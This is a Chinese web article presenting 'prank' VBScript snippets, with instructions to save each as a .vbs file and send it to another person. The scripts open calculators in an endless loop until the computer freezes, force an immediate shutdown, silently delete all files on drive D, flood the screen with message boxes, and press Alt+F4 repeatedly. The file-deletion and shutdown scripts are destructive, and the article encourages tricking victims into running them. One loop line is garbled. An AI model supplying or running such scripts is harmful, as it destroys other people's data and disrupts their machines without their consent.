tft每日頭條

 > 科技

 > vbs編程整人

vbs編程整人

科技 更新时间:2024-12-20 14:12:55
一、打開無數個計算器,直到卡死你的電腦。

複制以下代碼;粘貼到記事本,另存為,XXX.VBS。然後在發給對方。


set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop


二、雙擊運行後直接就關機。

複制以下代碼;粘貼到記事本,另存為,XXX.vbs。然後在發給對方。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true


三、删除D:\所有文件

複制以下代碼;粘貼到記事本,另存為,XXX.vbs。然後在發給對方。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true


四、不斷彈出窗口

複制以下代碼;粘貼到記事本,另存為,XXX.vbs。然後在發給對方。

while(1)

msgbox "哈哈 你被耍了!"

loop


不斷按下alt f4 (開什麼都關閉……)

複制以下代碼;粘貼到記事本,另存為,XXX.vbs。然後在發給對方。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop


按500次回車

(以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ,500可以随意更改)

複制以下代碼;粘貼到記事本,另存為,XXX.vbs。然後在發給對方。

dim s

do until s=500

s=s 1

msgbox "哥們,給我按500次回車吧",64

loop

vbs編程整人(利用VBS代碼特效擊潰對方電腦)1

,

更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!

查看全部

相关科技资讯推荐

热门科技资讯推荐

网友关注

Copyright 2023-2024 - www.tftnews.com All Rights Reserved